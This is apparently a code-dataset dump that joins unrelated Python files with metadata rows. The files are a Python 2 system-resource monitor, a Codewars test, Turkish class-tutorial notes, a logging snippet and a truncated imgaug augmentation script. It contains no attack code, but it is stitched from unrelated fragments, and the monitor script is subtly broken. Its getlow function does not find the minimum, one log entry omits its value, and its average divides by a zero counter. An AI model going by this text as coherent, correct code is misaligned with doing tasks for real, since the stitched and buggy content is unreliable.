#print "\n\nAverage CPU temperature was",tavg,"degrees Celsius"
print "Average CPU1 percent was",avg_cpu1_perc,"%"
print "Average CPU2 percent was",avg_cpu2_perc,"%"
print "Average CPU3 percent was",avg_cpu3_perc,"%"
print "Average CPU4 percent was",avg_cpu4_perc,"%"
print "Average CPU5 percent was",avg_cpu5_perc,"%"
print "Average CPU6 percent was",avg_cpu6_perc,"%"
print "Average CPU7 percent was",avg_cpu7_perc,"%"
print "Average CPU8 percent was",avg_cpu8_perc,"%"
print "Average RAM percent was",avg_mem_perc,"%"
print "Average SWAP percent was",avg_swap_perc,"%\n"
#print "Highest CPU temperature was",tmax,"degrees Celsius"
print "Highest CPU1 percent was",high_cpu1_perc,"%"
print "Highest CPU2 percent was",high_cpu2_perc,"%"
print "Highest CPU3 percent was",high_cpu3_perc,"%"
print "Highest CPU4 percent was",high_cpu4_perc,"%"
print "Highest CPU5 percent was",high_cpu5_perc,"%"
print "Highest CPU6 percent was",high_cpu6_perc,"%"
print "Highest CPU7 percent was",high_cpu7_perc,"%"
print "Highest CPU8 percent was",high_cpu8_perc,"%"
print "Highest RAM percent was",high_mem_perc,"%"
print "Highest SWAP percent was",high_swap_perc,"%\n"
#print "Lowest CPU temperature was",tmin,"degrees Celsius"
print "Lowest CPU1 percent was",low_cpu1_perc,"%"
print "Lowest CPU2 percent was",low_cpu2_perc,"%"
print "Lowest CPU3 percent was",low_cpu3_perc,"%"
print "Lowest CPU4 percent was",low_cpu4_perc,"%"
print "Lowest CPU5 percent was",low_cpu5_perc,"%"
print "Lowest CPU6 percent was",low_cpu6_perc,"%"
print "Lowest CPU7 percent was",low_cpu7_perc,"%"
print "Lowest CPU8 percent was",low_cpu8_perc,"%"
print "Lowest RAM percent was",low_mem_perc,"%"
print "Lowest SWAP percent was",low_swap_perc,"%\n"
if avg == 1:
return 0
elif os.path.exists("/var/log/sysmon.log") == True:
tod = datetime.datetime.now()
syslog = open ( "/var/log/sysmon.log" , "a" )
syslog.write ("---------------\n")
syslog.write ("\nAverage CPU1 percent was ")
syslog.write (str(avg_cpu1_perc))
syslog.write ("\nAverage CPU2 percent was ")
syslog.write (str(avg_cpu2_perc))
syslog.write ("\nAverage CPU3 percent was ")
syslog.write (str(avg_cpu3_perc))
syslog.write ("\nAverage CPU4 percent was ")
syslog.write (str(avg_cpu4_perc))
syslog.write ("\nAverage CPU5 percent was ")
syslog.write (str(avg_cpu5_perc))
syslog.write ("\nAverage CPU6 percent was ")
syslog.write (str(avg_cpu6_perc))
syslog.write ("\nAverage CPU7 percent was ")
syslog.write (str(avg_cpu7_perc))
syslog.write ("\nAverage CPU8 percent was ")
syslog.write (str(avg_cpu8_perc))
syslog.write ("\nAverage RAM percent was ")
syslog.write (str(avg_mem_perc))
syslog.write ("\nAverage SWAP percent was ")
syslog.write (str(avg_swap_perc))
syslog.write ("\nHighest CPU1 percent was ")
syslog.write (str(high_cpu1_perc))
syslog.write ("\nHighest CPU2 percent was ")
syslog.write (str(high_cpu2_perc))
syslog.write ("\nHighest CPU3 percent was ")
syslog.write (str(high_cpu3_perc))
syslog.write ("\nHighest CPU4 percent was ")
syslog.write (str(high_cpu4_perc))
syslog.write ("\nHighest CPU5 percent was ")
syslog.write (str(high_cpu5_perc))
syslog.write ("\nHighest CPU6 percent was ")
syslog.write (str(high_cpu6_perc))
syslog.write ("\nHighest CPU7 percent was ")
syslog.write (str(high_cpu7_perc))
syslog.write ("\nHighest CPU8 percent was ")
syslog.write (str(high_cpu8_perc))
syslog.write ("\nHighest RAM percent was ")
syslog.write (str(high_mem_perc))
syslog.write ("\nHighest SWAP percent was ")
syslog.write (str(high_swap_perc))
syslog.write ("\nLowest CPU1 percent was ")
syslog.write (str(low_cpu1_perc))
syslog.write ("\nLowest CPU2 percent was ")
syslog.write (str(low_cpu2_perc))
syslog.write ("\nLowest CPU3 percent was ")
syslog.write (str(low_cpu3_perc))
syslog.write ("\nLowest CPU4 percent was ")
syslog.write (str(low_cpu4_perc))
syslog.write ("\nLowest CPU5 percent was ")
syslog.write (str(low_cpu5_perc))
syslog.write ("\nLowest CPU6 percent was ")
syslog.write (str(low_cpu6_perc))
syslog.write ("\nLowest CPU7 percent was ")
syslog.write (str(low_cpu7_perc))
syslog.write ("\nLowest CPU8 percent was ")
syslog.write (str(low_cpu8_perc))
syslog.write ("\nLowest RAM percent was ")
syslog.write (str(low_mem_perc))
syslog.write ("\nLowest SWAP percent was ")
syslog.write (str(low_swap_perc))
syslog.write ("\n\nDATE/TIME: ")
syslog.write (str(tod))
syslog.write ("\n\n---------------\n")
print("Log has been updated")
else:
print("Could not locate log file. Please re-install.")
return 1
elif len(cpu_perc) == 6:
#
mem_perc = 0 #init var
swap_perc = 0 #init var
mbytes_sent = 0 #init var
mbytes_recv = 0 #init var
cpu_perc = 0 #init var
swap = 0 #init var
mem = 0 #init var
net = 0 #init var
cpu1_list = []
cpu2_list = []
cpu3_list = []
cpu4_list = []
cpu5_list = []
cpu6_list = []
swap_list = []
mem_list = []
mbytes_sent_list = []
mbytes_recv_list = []
#
def rtcheck(seconds):
try:
seconds = int(seconds)
return seconds
except ValueError:
return -1
def getavg(l):
out = 0
for a in range(0,len(l)):
out = out+l[a]
out = float(out) / len(l)
return out
def gethigh(l):
out = 0
for a in range(0,len(l)):
if l[a] > out:
out = l[a]
return out
def getlow(l):
out = 0
h = gethigh(l)
for a in range(0, len(l)):
if l[a] < h:
out = l[a]
return out
def disp(degree):
global cpu_perc
global swap
global swap_perc
global mem
global mem_perc
global net
global mbytes_sent
global mbytes_recv
cpu_perc = psutil.cpu_percent(interval=1, percpu=True)
swap = psutil.swap_memory()
swap_perc = swap.percent
mem = psutil.virtual_memory()
mem_perc = mem.percent
net = psutil.net_io_counters()
mbytes_sent = float(net.bytes_sent) / 1048576
mbytes_recv = float(net.bytes_recv) / 1048576
os.system('clear') #clear the screen
print "-"*30
print "CPU"
print "-"*30
#print "CPU Temperature: " , temp, "'C"
for i in range(len(cpu_perc)):
print "CPU Core", str(i+1),":", str(cpu_perc[i]), "%"
print "-"*30
print "MEMORY"
print "-"*30
print "RAM: ", mem_perc, "%"
print "Swap: ", swap_perc, "%"
print "-"*30
print "NETWORK"
print "-"*30
print "MB sent: ", mbytes_sent
print "MB received: ", mbytes_recv
def main():
global version
avg = 0
ver = 0
run = 0
help = 0
check = 0
runtime = 5
degree = 0
seccount = 0
seclast = 0
minutes = 0
temp = 21
tsum = 0
ticker = 0
exitmsg = ""
print "sysmon" , version
if ver == 1:
sys.exit()
if help == 1:
usageinfo(check, run, exitmsg)
if run == 1:
runtime = rtcheck(runtime)
if runtime < 1:
help = 1
exitmsg = "Seconds must be defined as an integer greater than zero."
usageinfo()
bseconds = int(time.time())
if avg == 0:
print("Press Ctrl+C to exit")
try :
while True:
#
disp(degree)
cpu1_list.append(float(cpu_perc[0]))
cpu2_list.append(float(cpu_perc[1]))
cpu3_list.append(float(cpu_perc[2]))
cpu4_list.append(float(cpu_perc[3]))
cpu5_list.append(float(cpu_perc[4]))
cpu6_list.append(float(cpu_perc[5]))
swap_list.append(swap_perc)
mem_list.append(mem_perc)
mbytes_sent_list.append(mbytes_sent)
mbytes_recv_list.append(mbytes_recv)
time.sleep(1)
sys.stdout.flush()
#When Ctrl-C is pressed, show summary data
except KeyboardInterrupt :
pass
tavg = tsum / ticker
tavg = round(tavg, 1)
#add this info for cpu, ram
avg_cpu1_perc = getavg(cpu1_list) #get averages and print them
avg_cpu2_perc = getavg(cpu2_list)
avg_cpu3_perc = getavg(cpu3_list)
avg_cpu4_perc = getavg(cpu4_list)
avg_cpu5_perc = getavg(cpu5_list) #get averages and print them
avg_cpu6_perc = getavg(cpu6_list)
avg_mem_perc = getavg(mem_list)
avg_swap_perc = getavg(swap_list)
high_cpu1_perc = gethigh(cpu1_list) #get highs and print them
high_cpu2_perc = gethigh(cpu2_list)
high_cpu3_perc = gethigh(cpu3_list)
high_cpu4_perc = gethigh(cpu4_list)
high_cpu5_perc = gethigh(cpu5_list) #get highs and print them
high_cpu6_perc = gethigh(cpu6_list)
high_mem_perc = gethigh(mem_list)
high_swap_perc = gethigh(swap_list)
low_cpu1_perc = getlow(cpu1_list) #get lows and print them
low_cpu2_perc = getlow(cpu2_list)
low_cpu3_perc = getlow(cpu3_list)
low_cpu4_perc = getlow(cpu4_list)
low_cpu5_perc = getlow(cpu5_list) #get lows and print them
low_cpu6_perc = getlow(cpu6_list)
low_mem_perc = getlow(mem_list)
low_swap_perc = getlow(swap_list)
#print "\n\nAverage CPU temperature was",tavg,"degrees Celsius"
print "Average CPU1 percent was",avg_cpu1_perc,"%"
print "Average CPU2 percent was",avg_cpu2_perc,"%"
print "Average CPU3 percent was",avg_cpu3_perc,"%"
print "Average CPU4 percent was",avg_cpu4_perc,"%"
print "Average CPU5 percent was",avg_cpu5_perc,"%"
print "Average CPU6 percent was",avg_cpu6_perc,"%"
print "Average RAM percent was",avg_mem_perc,"%"
print "Average SWAP percent was",avg_swap_perc,"%\n"
#print "Highest CPU temperature was",tmax,"degrees Celsius"
print "Highest CPU1 percent was",high_cpu1_perc,"%"
print "Highest CPU2 percent was",high_cpu2_perc,"%"
print "Highest CPU3 percent was",high_cpu3_perc,"%"
print "Highest CPU4 percent was",high_cpu4_perc,"%"
print "Highest CPU5 percent was",high_cpu5_perc,"%"
print "Highest CPU6 percent was",high_cpu6_perc,"%"
print "Highest RAM percent was",high_mem_perc,"%"
print "Highest SWAP percent was",high_swap_perc,"%\n"
#print "Lowest CPU temperature was",tmin,"degrees Celsius"
print "Lowest CPU1 percent was",low_cpu1_perc,"%"
print "Lowest CPU2 percent was",low_cpu2_perc,"%"
print "Lowest CPU3 percent was",low_cpu3_perc,"%"
print "Lowest CPU4 percent was",low_cpu4_perc,"%"
print "Lowest CPU5 percent was",low_cpu5_perc,"%"
print "Lowest CPU6 percent was",low_cpu6_perc,"%"
print "Lowest RAM percent was",low_mem_perc,"%"
print "Lowest SWAP percent was",low_swap_perc,"%\n"
if avg == 1:
return 0
elif os.path.exists("/var/log/sysmon.log") == True:
tod = datetime.datetime.now()
syslog = open ( "/var/log/sysmon.log" , "a" )
syslog.write ("---------------\n")
syslog.write ("\nAverage CPU1 percent was ")
syslog.write (str(avg_cpu1_perc))
syslog.write ("\nAverage CPU2 percent was ")
syslog.write (str(avg_cpu2_perc))
syslog.write ("\nAverage CPU3 percent was ")
syslog.write (str(avg_cpu3_perc))
syslog.write ("\nAverage CPU4 percent was ")
syslog.write (str(avg_cpu4_perc))
syslog.write ("\nAverage CPU5 percent was ")
syslog.write (str(avg_cpu5_perc))
syslog.write ("\nAverage CPU6 percent was ")
syslog.write (str(avg_cpu6_perc))
syslog.write ("\nAverage CPU7 percent was ")
syslog.write ("\nAverage RAM percent was ")
syslog.write (str(avg_mem_perc))
syslog.write ("\nAverage SWAP percent was ")
syslog.write (str(avg_swap_perc))
syslog.write ("\nHighest CPU1 percent was ")
syslog.write (str(high_cpu1_perc))
syslog.write ("\nHighest CPU2 percent was ")
syslog.write (str(high_cpu2_perc))
syslog.write ("\nHighest CPU3 percent was ")
syslog.write (str(high_cpu3_perc))
syslog.write ("\nHighest CPU4 percent was ")
syslog.write (str(high_cpu4_perc))
syslog.write ("\nHighest CPU5 percent was ")
syslog.write (str(high_cpu5_perc))
syslog.write ("\nHighest CPU6 percent was ")
syslog.write (str(high_cpu6_perc))
syslog.write ("\nHighest RAM percent was ")
syslog.write (str(high_mem_perc))
syslog.write ("\nHighest SWAP percent was ")
syslog.write (str(high_swap_perc))
syslog.write ("\nLowest CPU1 percent was ")
syslog.write (str(low_cpu1_perc))
syslog.write ("\nLowest CPU2 percent was ")
syslog.write (str(low_cpu2_perc))
syslog.write ("\nLowest CPU3 percent was ")
syslog.write (str(low_cpu3_perc))
syslog.write ("\nLowest CPU4 percent was ")
syslog.write (str(low_cpu4_perc))
syslog.write ("\nLowest CPU5 percent was ")
syslog.write (str(low_cpu5_perc))
syslog.write ("\nLowest CPU6 percent was ")
syslog.write (str(low_cpu6_perc))
syslog.write ("\nLowest RAM percent was ")
syslog.write (str(low_mem_perc))
syslog.write ("\nLowest SWAP percent was ")
syslog.write (str(low_swap_perc))
syslog.write ("\n\nDATE/TIME: ")
syslog.write (str(tod))
syslog.write ("\n\n---------------\n")
print("Log has been updated")
else:
print("Could not locate log file. Please re-install.")
return 1
if __name__ == '__main__':
main()
| 42.293333
| 100
| 0.420366
| 4,470
| 47,580
| 4.287025
| 0.041611
| 0.11136
| 0.066482
| 0.07718
| 0.970255
| 0.967959
| 0.9546
| 0.950582
| 0.950582
| 0.94839
| 0
| 0.029561
| 0.498045
| 47,580
| 1,124
| 101
| 42.330961
| 0.772809
| 0.043716
| 0
| 0.95613
| 0
| 0
| 0.123343
| 0.00185
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.004499
| 0.001125
| null | null | 0.175478
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8c1be713e30444176fa43af43ee61a38f375ba76
| 270
|
py
|
Python
|
Codewars/8kyu/number-1-are-they-opposite/Python/test.py
|
RevansChen/online-judge
|
ad1b07fee7bd3c49418becccda904e17505f3018
|
[
"MIT"
] | 7
|
2017-09-20T16:40:39.000Z
|
2021-08-31T18:15:08.000Z
|
Codewars/8kyu/number-1-are-they-opposite/Python/test.py
|
RevansChen/online-judge
|
ad1b07fee7bd3c49418becccda904e17505f3018
|
[
"MIT"
] | null | null | null |
Codewars/8kyu/number-1-are-they-opposite/Python/test.py
|
RevansChen/online-judge
|
ad1b07fee7bd3c49418becccda904e17505f3018
|
[
"MIT"
] | null | null | null |
# Python - 3.6.0
test.assert_equals(is_opposite('ab', 'AB'), True)
test.assert_equals(is_opposite('aB', 'Ab'), True)
test.assert_equals(is_opposite('aBcd', 'AbCD'), True)
test.assert_equals(is_opposite('AB', 'Ab'), False)
test.assert_equals(is_opposite('', ''), False)
| 33.75
| 53
| 0.707407
| 42
| 270
| 4.309524
| 0.309524
| 0.276243
| 0.441989
| 0.497238
| 0.850829
| 0.707182
| 0.707182
| 0.707182
| 0.519337
| 0.519337
| 0
| 0.012
| 0.074074
| 270
| 7
| 54
| 38.571429
| 0.712
| 0.051852
| 0
| 0
| 0
| 0
| 0.07874
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
8c80b6c78a15a6dfe7b081144138804ce06776c4
| 1,999
|
py
|
Python
|
Notlar/ahmetbaran/1_oopfundamentals.py
|
ibrahimediz/ornekproje
|
c5ebeafc43a9c6d2aa639d0d95eedbce65991576
|
[
"Apache-2.0"
] | null | null | null |
Notlar/ahmetbaran/1_oopfundamentals.py
|
ibrahimediz/ornekproje
|
c5ebeafc43a9c6d2aa639d0d95eedbce65991576
|
[
"Apache-2.0"
] | null | null | null |
Notlar/ahmetbaran/1_oopfundamentals.py
|
ibrahimediz/ornekproje
|
c5ebeafc43a9c6d2aa639d0d95eedbce65991576
|
[
"Apache-2.0"
] | null | null | null |
class Kedi:
tur = "fellis catus" # class attribute
def __init__(self,adi,cins,yas,*args,**kwargs):
self.adi = adi # örnek özellik instance attribute
self.cins = cins
self.yas = yas
def beslenme(self): # instance method
print(f"{self.adi} beslendi")
obj1 = Kedi("Melek","Tekir","11")
obj2 = Kedi("Duman","Scottish","12")
print(obj1.adi)
print(obj2.adi)
obj1.beslenme()
##########################
class Kedi:
tur = "fellis catus" # class attribute
liste = []
def __init__(self,adi,cins,yas,*args,**kwargs):
self.adi = adi # örnek özellik instance attribute
self.cins = cins
self.yas = yas
Kedi.liste.append((self.adi,self.cins,self.yas))
def beslenme(self): # instance method
print(f"{self.adi} beslendi")
@classmethod
def turGetir(cls):
print(cls.tur)
@classmethod
def kacKedi(cls):
print(len(cls.liste))
@classmethod
def kediListe(cls):
print(*cls.liste,sep="\n")
obj1 = Kedi("Melek","Tekir","11")
obj2 = Kedi("Duman","Scottish","12")
obj1.beslenme()
Kedi.kacKedi()
Kedi.kediListe()
##################################### destructor
class Kedi:
tur = "fellis catus" # class attribute
liste = []
def __init__(self,adi,cins,yas,*args,**kwargs):
self.adi = adi # örnek özellik instance attribute
self.cins = cins
self.yas = yas
Kedi.liste.append((self.adi,self.cins,self.yas))
def beslenme(self): # instance method
print(f"{self.adi} beslendi")
@classmethod
def turGetir(cls):
print(cls.tur)
@classmethod
def kacKedi(cls):
print(len(cls.liste))
@classmethod
def kediListe(cls):
print(*cls.liste,sep="\n")
def __del__(self): #destructor
print("R.I.P",self.adi)
obj1 = Kedi("Melek","Tekir","11")
obj2 = Kedi("Duman","Scottish","12")
obj1.beslenme()
Kedi.kacKedi()
Kedi.kediListe()
print(id(obj1))
del obj1
input()
| 24.679012
| 57
| 0.590295
| 249
| 1,999
| 4.674699
| 0.188755
| 0.072165
| 0.047251
| 0.046392
| 0.910653
| 0.910653
| 0.910653
| 0.878866
| 0.878866
| 0.878866
| 0
| 0.016213
| 0.228614
| 1,999
| 81
| 58
| 24.679012
| 0.738651
| 0.107554
| 0
| 0.893939
| 0
| 0
| 0.108708
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.19697
| false
| 0
| 0
| 0
| 0.318182
| 0.19697
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8ca6e2d2486307c382060fe5c27274098e83ddff
| 13
|
py
|
Python
|
tests/fixtures/__version__.py
|
croqaz/StickyIcky
|
1fe3982b48b45f72b33dd6047ab8def25744e355
|
[
"MIT"
] | 1
|
2021-02-15T17:13:15.000Z
|
2021-02-15T17:13:15.000Z
|
tests/fixtures/__version__.py
|
croqaz/StickyIcky
|
1fe3982b48b45f72b33dd6047ab8def25744e355
|
[
"MIT"
] | null | null | null |
tests/fixtures/__version__.py
|
croqaz/StickyIcky
|
1fe3982b48b45f72b33dd6047ab8def25744e355
|
[
"MIT"
] | null | null | null |
x = 1
y = 2
| 3.25
| 5
| 0.307692
| 4
| 13
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 0.538462
| 13
| 3
| 6
| 4.333333
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8cc6843582db73edba583882286f6e8ac8f08000
| 39
|
py
|
Python
|
Server/Code/redis_client/__init__.py
|
HueyPark/Unreal-Knights
|
9a08dd15c65d8853f1322bf6de4b892cd88c571a
|
[
"MIT"
] | null | null | null |
Server/Code/redis_client/__init__.py
|
HueyPark/Unreal-Knights
|
9a08dd15c65d8853f1322bf6de4b892cd88c571a
|
[
"MIT"
] | null | null | null |
Server/Code/redis_client/__init__.py
|
HueyPark/Unreal-Knights
|
9a08dd15c65d8853f1322bf6de4b892cd88c571a
|
[
"MIT"
] | null | null | null |
from .redis_client import redis_client
| 19.5
| 38
| 0.871795
| 6
| 39
| 5.333333
| 0.666667
| 0.6875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.102564
| 39
| 1
| 39
| 39
| 0.914286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
8ce9edfa00bddf3a565b564b3b1c458bee900f3e
| 262
|
py
|
Python
|
pystrom/utils.py
|
rafaelurben/python-mystrom
|
7fe76ee81660da44f8faf214e3593183ae3a4b84
|
[
"MIT"
] | null | null | null |
pystrom/utils.py
|
rafaelurben/python-mystrom
|
7fe76ee81660da44f8faf214e3593183ae3a4b84
|
[
"MIT"
] | 8
|
2021-02-25T04:24:36.000Z
|
2022-01-06T04:07:24.000Z
|
pystrom/utils.py
|
rafaelurben/python-mystrom
|
7fe76ee81660da44f8faf214e3593183ae3a4b84
|
[
"MIT"
] | null | null | null |
try:
from rich import print
def log(*args, **kwargs):
print("[green][MyStrom][/green] -", *args, **kwargs)
except ImportError:
print("[INFO] Couldn't import rich!")
def log(*args, **kwargs):
print("[MyStrom] -", *args, **kwargs)
| 26.2
| 60
| 0.576336
| 31
| 262
| 4.870968
| 0.516129
| 0.264901
| 0.13245
| 0.211921
| 0.278146
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.221374
| 262
| 10
| 61
| 26.2
| 0.740196
| 0
| 0
| 0.25
| 0
| 0
| 0.247148
| 0.091255
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0.375
| 0
| 0.625
| 0.5
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 1
|
0
| 7
|
50f333b1363c72e529b55e60fdccdc4b0ed234b6
| 24,339
|
py
|
Python
|
augmentation.py
|
ltnghia/openforensics
|
0f0776eb349d16e267d18cc906851b757aa0ac50
|
[
"MIT"
] | 7
|
2021-11-08T14:23:46.000Z
|
2022-03-30T08:02:55.000Z
|
augmentation.py
|
ltnghia/openforensics
|
0f0776eb349d16e267d18cc906851b757aa0ac50
|
[
"MIT"
] | null | null | null |
augmentation.py
|
ltnghia/openforensics
|
0f0776eb349d16e267d18cc906851b757aa0ac50
|
[
"MIT"
] | null | null | null |
__author__ = 'ltnghia'
import os
import cv2
import numpy as np
from tqdm import tqdm
import imgaug.augmenters as iaa
sometimes = lambda aug: iaa.Sometimes(0.5, aug)
def augmentation_lvl1():
seq = iaa.SomeOf((1, 2), [
iaa.SomeOf((1, 3), [
# Hue
iaa.OneOf([
iaa.AddToHue((-30, 30)),
iaa.Add(value=(-30, 30), per_channel=0.5),
iaa.Multiply(mul=(0.7, 1.3), per_channel=0.5),
]),
# Saturation
iaa.OneOf([
iaa.MultiplySaturation((0.7, 1.3)),
iaa.AddToSaturation((-30, 30)),
iaa.Grayscale(alpha=(0.3, 0.7)),
]),
# Brightness
iaa.OneOf([
iaa.MultiplyBrightness((0.7, 1.3)),
iaa.AddToBrightness((-30, 30)),
]),
# Contrast
iaa.OneOf([
iaa.SigmoidContrast(gain=(3, 10), cutoff=(0.4, 0.6), per_channel=0.5),
iaa.LogContrast(gain=(0.6, 1.4), per_channel=0.5),
iaa.LinearContrast(alpha=(0.5, 2.0), per_channel=0.5),
]),
], random_order=True),
iaa.OneOf([
iaa.MultiplyElementwise(mul=(0.8, 1.2), per_channel=0.5),
iaa.AdditiveGaussianNoise(loc=0, scale=(0, 20), per_channel=0.5),
iaa.GaussianBlur(sigma=(0.5, 2.0)),
iaa.AverageBlur(k=(1, 5)),
iaa.MedianBlur(k=(1, 5)),
iaa.Sharpen(alpha=(0.1, 0.4), lightness=(0.75, 1.5)),
]),
iaa.OneOf([
iaa.imgcorruptlike.JpegCompression(severity=(1, 4)),
iaa.BlendAlpha((0.4, 0.7), foreground=iaa.imgcorruptlike.Frost(severity=(1, 1)), per_channel=True),
iaa.BlendAlpha((0.4, 0.7), foreground=iaa.Clouds()),
iaa.BlendAlpha((0.4, 0.6), foreground=iaa.Fog()),
iaa.imgcorruptlike.Snow(severity=(1, 1)),
iaa.Rain(speed=(0.1, 0.3), nb_iterations=(1, 1), drop_size=(0.01, 0.02)),
iaa.Snowflakes(flake_size=(0.4, 0.7), speed=(0.001, 0.03), density=(0.004, 0.05),
density_uniformity=(0.3, 0.7)),
]),
])
return seq
def augmentation_lvl2():
seq = iaa.OneOf([
iaa.Sequential([
# ===================
# Color
iaa.SomeOf((1, 3),[
# Hue
iaa.OneOf([
iaa.MultiplyHue((0.5, 2.0)),
iaa.AddToHue((-30, 30)),
iaa.ChangeColorTemperature((1000, 10000)),
iaa.Add(value=(-50, 50), per_channel=0.5),
iaa.Multiply(mul=(0.5, 1.5), per_channel=0.5),
iaa.pillike.EnhanceColor(factor=(0.0, 3.0)),
iaa.pillike.Equalize(),
]),
# Saturation
iaa.OneOf([
iaa.MultiplySaturation((0.5, 1.5)),
iaa.AddToSaturation((-50, 50)),
iaa.imgcorruptlike.Saturate(severity=(1, 3)),
iaa.RemoveSaturation(),
iaa.Grayscale(alpha=(0.0, 1.0)),
]),
# Brightness
iaa.OneOf([
iaa.MultiplyBrightness((0.5, 1.5)),
iaa.AddToBrightness((-50, 50)),
iaa.pillike.EnhanceBrightness(factor=(0.5, 1.5)),
iaa.imgcorruptlike.Brightness(severity=(1, 3)),
]),
# Contrast
iaa.OneOf([
iaa.GammaContrast(gamma=(0.5, 2.0), per_channel=0.5),
iaa.SigmoidContrast(gain=(3, 10), cutoff=(0.4, 0.6), per_channel=0.5),
iaa.LogContrast(gain=(0.6, 1.4), per_channel=0.5),
iaa.LinearContrast(alpha=(0.5, 2.0), per_channel=0.5),
iaa.pillike.EnhanceContrast(factor=(0.5, 1.5)),
iaa.pillike.Autocontrast(cutoff=(10, 20), per_channel=0.5),
# iaa.AllChannelsCLAHE(clip_limit=(1, 3), per_channel=0.5), # medium
# iaa.imgcorruptlike.Contrast(severity=(1, 3)), # for difficult
]),
], random_order=True),
iaa.OneOf([
# ===================
# Blur
iaa.OneOf([
iaa.OneOf([
iaa.GaussianBlur(sigma=(0.5, 2.0)),
iaa.AverageBlur(k=(1, 7)),
iaa.MedianBlur(k=(3, 7)),
iaa.imgcorruptlike.GaussianBlur(severity=(1, 2)),
iaa.pillike.FilterBlur(),
]),
iaa.OneOf([
iaa.imgcorruptlike.MotionBlur(severity=(1, 2)),
iaa.MotionBlur(k=(3, 7), angle=(0, 360), direction=(-1.0, 1.0)),
iaa.Alpha((0.01, 0.05), iaa.Canny(alpha=(0, 1)), iaa.MedianBlur((1, 5))),
# iaa.imgcorruptlike.GlassBlur(severity=(1, 2)), # medium
# iaa.imgcorruptlike.DefocusBlur(severity=(1, 2)), # medium
# iaa.imgcorruptlike.ZoomBlur(severity=(1, 1)) # hard
]),
]),
# ===================
# sharpen and edge
iaa.OneOf([
iaa.Sharpen(alpha=(0.1, 0.4), lightness=(0.75, 1.5)),
iaa.Canny(alpha=(0.05, 0.2),
colorizer=iaa.RandomColorsBinaryImageColorizer(color_true=255, color_false=0)),
iaa.Canny(alpha=(0.05, 0.2), sobel_kernel_size=[3, 7]),
iaa.Alpha(factor=(0.05, 0.2), first=iaa.Canny(alpha=1), second=iaa.MedianBlur(k=(1, 3)),
per_channel=0.5),
iaa.BlendAlpha((0.3, 0.6), foreground=iaa.Emboss(alpha=(0.5, 1.0), strength=(0.5, 1.0))),
iaa.BlendAlpha((0.01, 0.3), foreground=iaa.pillike.FilterContour()),
]),
]),
]),
iaa.SomeOf((1, 2),[
# ===================
# image corrupt
iaa.OneOf([
# ===================
# Noise
iaa.OneOf([
iaa.MultiplyElementwise(mul=(0.8, 1.2), per_channel=0.5),
iaa.AdditiveGaussianNoise(loc=0, scale=(10, 20), per_channel=0.5),
iaa.AdditiveLaplaceNoise(loc=0, scale=(10, 20), per_channel=0.5),
iaa.AdditivePoissonNoise(lam=(5, 15), per_channel=0.5),
iaa.imgcorruptlike.ImpulseNoise(severity=(1, 2)),
iaa.Dropout(p=(0.05, 0.1), per_channel=0.5),
iaa.CoarseDropout(p=(0.04, 0.08), size_percent=(0.05, 0.1), per_channel=0.5),
# iaa.imgcorruptlike.GaussianNoise(severity=(1, 2)), # medium
# iaa.imgcorruptlike.SpeckleNoise(severity=(1, 2)), # medium
# iaa.imgcorruptlike.ShotNoise(severity=(1, 2)), # hard
]),
iaa.OneOf([
iaa.BlendAlpha((0.4, 0.6), foreground=iaa.ElasticTransformation(alpha=(1, 4), sigma=(0.05, 0.1))),
# pixels move locally around (with random strengths)
iaa.imgcorruptlike.JpegCompression(severity=(1, 5)),
iaa.imgcorruptlike.Pixelate(severity=(2, 4)),
iaa.BlendAlpha((0.4, 0.8), foreground=iaa.imgcorruptlike.ElasticTransform(severity=(1, 1))),
iaa.UniformColorQuantization(n_colors=(2, 16)),
]),
iaa.OneOf([
iaa.Superpixels(p_replace=(0, 1.0), n_segments=(5000, 8000)), # hard
iaa.AveragePooling(kernel_size=(2, 5)),
